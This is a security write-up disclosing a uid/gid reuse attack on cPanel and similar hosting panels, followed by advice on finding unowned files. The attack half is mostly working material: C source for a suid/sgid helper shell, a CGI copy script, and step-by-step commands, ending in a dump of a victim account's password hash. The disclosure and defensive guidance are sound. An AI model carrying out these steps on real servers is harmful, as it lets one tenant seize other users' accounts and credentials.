Fun with uid and gid reuse

Backdooring new accounts before they're even created: the problem with allowing unprivileged users to create and remove accounts


What follows is an example of abusing a software system - cPanel, specifically - that allows unprivileged users to create and remove accounts. This issue is not limited to cPanel servers. DirectAdmin (notified 09/01/2008, fixed, uncredited), Plesk (not notified due to previous experiences with SWsoft / Parallels "support"), Kloxo (notified 05/21/2009), and presumably other software which offers similar functionality contain the same risk.

In the following example, you can see how reseller "alice" can use her ability to create and remove account "bob" to gain full access to a newly created account "carol".

Reseller "alice" creates a skeleton directory at ~/cpanel3-skel/ with the following structure: public_html/cgi-bin/

[alice@alice.com ~]$ find cpanel3-skel/ -type d
cpanel3-skel/
cpanel3-skel/public_html
cpanel3-skel/public_html/cgi-bin


alice then creates a suid/sgid helper shell that contains the next available uid/gid on the local system. The helper shell calls setgid() and setuid(), where the gid and uid will be the next available gid/uid on the system, as determined from /etc/passwd:

[alice@alice.com ~]$ cat cpanel3-skel/shell-512.c
int main() {
    setgid(514);
    setuid(512);
    system("/bin/bash");
}


alice compiles the suid/sgid helper shell and places it inside the cpanel3-skel/ directory:

[alice@alice.com ~]$ ls -l cpanel3-skel/shell-512
-rwsr-sr-x  1 alice alice 4951 Jan  1 09:19 cpanel3-skel/shell-512*


Inside the cpanel3-skel/public_html/cgi-bin/ directory, alice places a cgi script that, when executed, will copy the helper shell back to her home directory at /home/alice:

[alice@alice.com ~]$ cat cpanel3-skel/public_html/cgi-bin/cp.pl
#!/usr/bin/perl
print "Content-type: text/plain\n\n";
system("cp -p ~/shell-512 /home/alice");


alice creates a new user account "bob". As a result, there is now a suid/sgid helper shell in /home/bob which is user:group bob:bob:

[bob@bob.com ~]$ ls -l shell-512
-rwsr-sr-x  1 bob bob 4951 Jan  1 09:19 shell-512*


alice gives her ~ world writable permissions:

[alice@alice.com ~]$ chmod o+w ~


alice makes a GET request to the cgi script in bob's cgi-bin/ directory, which copies the suid/sgid shell, via cp -p to preserve the user and group ownership, to /home/alice:

http://x.x.x.x/~bob/cgi-bin/cp.pl


[alice@alice.com ~]$ ls -l shell-512
-rwsr-sr-x  1 bob bob 4951 Jan  1 09:19 shell-512*


Next, alice terminates the bob account. Now alice has a suid/sgid helper shell in her ~ which belongs to no one:

[alice@alice.com ~]$ ls -l shell-512
-rwsr-sr-x  1 512 514 4951 Jan  1 09:19 shell-512*


Once executed, her uid.gid will change to the same uid.gid that previously belonged to bob (unless the partition that the file exists on is mounted with the nosuid and/or noexec options). Here is her current uid and gid before executing the helper shell:

[alice@alice.com ~]$ id
uid=511(alice) gid=513(alice) groups=513(alice)

and here is her current uid and gid after executing the helper shell:

[alice@alice.com ~]$ ./shell-512
whoami: cannot find username for UID 512
grep: /var/cpanel/users/: Permission denied
mkdir: cannot create directory `/home/alice/public_html/cgi-bin': Permission denied
[I have no name!@host ~]$ id
uid=512 gid=514 groups=513(alice)


This isn't immediately an issue, since no other user on the system is using that uid and gid. However, when the next account on the system is created (either via WHM, or manually via useradd, etc), alice will be able to gain complete access to that account. For example, let's say someone else on the server has just added a new account with the username "carol". Now alice has a suid/sgid shell containing carol's uid/gid:

[alice@alice.com ~]$ ls -l shell-512
-rwsr-sr-x  1 carol carol 4951 Jan  1 09:19 shell-512*


[alice@alice.com ~]$ ./shell-512
bash: /home/alice/.dns: Permission denied
mkdir: cannot create directory `/home/alice/public_html/cgi-bin': Permission denied
[carol@carol.com ~]$ id
uid=512(carol) gid=514(carol) groups=513(alice)


Thanks!

[carol@carol.com ~]$ /usr/local/cpanel/bin/ftpwrap DUMP 0 0
carol:$1$BxAWmn63$J4Iyx.3Ki6wtUo1NS7A2e/:512:514::/home/carol:/usr/local/cpanel/bin/jailshell
ftp::14:50::/home/carol/public_ftp:/bin/ftpsh
carol_logs:$1$BxAWmn63$J4Iyx.3Ki6wtUo1NS7A2e/:512:514:carol:/usr/local/apache/domlogs/carol:/bin/ftpsh


Note that jailshell is not an effective deterrent here, as cron can still be used, which does not operate in a jailed environment.


Ideas for risk mitigation


I spoke with cPanel about this issue around 09/01/2008, and was told that they previously did track uid and gid use (I'm not sure they mentioned why). There is now once again a uid and gid tracking mechanism in cPanel. You can see this in the file /var/cpanel/usedids.yaml. However, used uids and gids are only tracked for accounts that are created via cPanel/WHM itself. When you add an account manually via useradd, the uid and gid of that account don't get tracked.


So, there still exists the risk of an account that is manually added of being backdoored. What to do? One idea is to check the User and Group columns from "repquota -a" and "repquota -ag", respectively, for any unowned files:

[root@host ~]# repquota -a
*** Report for user quotas on device /dev/vzfs
Block grace time: 00:00; Inode grace time: 00:00
                        Block limits                File limits
User            used    soft    hard  grace    used  soft  hard  grace
----------------------------------------------------------------------
root      -- 2552460       0       0          97207     0     0
bin       --   33044       0       0            320     0     0
daemon    --     456       0       0             36     0     0
[ ... ]
#32008    --       0       0       0              1     0     0


[root@host ~]# repquota -ag
*** Report for group quotas on device /dev/vzfs
Block grace time: 00:00; Inode grace time: 00:00
                        Block limits                File limits
Group           used    soft    hard  grace    used  soft  hard  grace
----------------------------------------------------------------------
root      -- 2136376       0       0          80828     0     0
bin       --   33560       0       0            326     0     0
daemon    --     456       0       0             36     0     0
[ ... ]
#32017    --       0       0       0              1     0     0


In the output above, the uid 32008 owns 1 file somewhere in the filesystem, as does gid 32017. You can use the "find" command to locate the file(s):

[root@host ~]# find / -uid 32008 -o -gid 32017 2>/dev/null

or:

[root@host ~]# find / -nouser -o -nogroup 2>/dev/null


Once you find the unowned files, it's up to you to decide if it's something that can be removed, or something that simply needs to be chowned.

Once you've cleaned up the fs of any unowned files, it is probably safe to manually use useradd to add a new account. I would recommend not only checking repquota before adding any accounts manually, but checking it frequently anyway. If you're on a cPanel server, you no doubt currently have a ton of crap that is unowned. Some of this might be stale files that were never cleaned up when an account was removed via the control panel (some of which I imagine are necessary to leave on the filesystem until certain stats have been accumulated, such as bandwidth stats), and some of which are files belonging to poorly packaged applications (such as those in /usr/local/cpanel/src/3rdparty/gpl/mailman-*) that, once extracted to the disk, will have incorrect user and/or group permissions.


Below is a list of the most common places on cPanel servers to find unowned files and directories:

/home/.cpan
/home/.cpcpan
/home/MySQL-install
/home/cpeasyapache
/var/spool/mail
/usr/local/cpanel/src/3rdparty/gpl/mailman-*
/var/cpanel/user_pw_cache
/usr/local/apache/domlogs
/var/cpanel/bwusagecache
/var/cpanel/bandwidth
/var/cpanel/bandwidth.cache
/var/cpanel/users.cache
/etc/vfilters
/usr/local/apache/conf/sites
/usr/local/frontpage


If a file isn't owned by anyone, then it's just taking up space, or presenting a risk of someone else who ends up with the uid or gid of owning it later on. Keep your filesystem clean by monitoring unowned files and either removing the unnecessary ones, or changing permissions accordingly. Keep in mind that any file with a uid or gid that was previously held by someone else may have been written to by that previous user. Thus, I recommend removing such files and grabbing fresh copies where possible.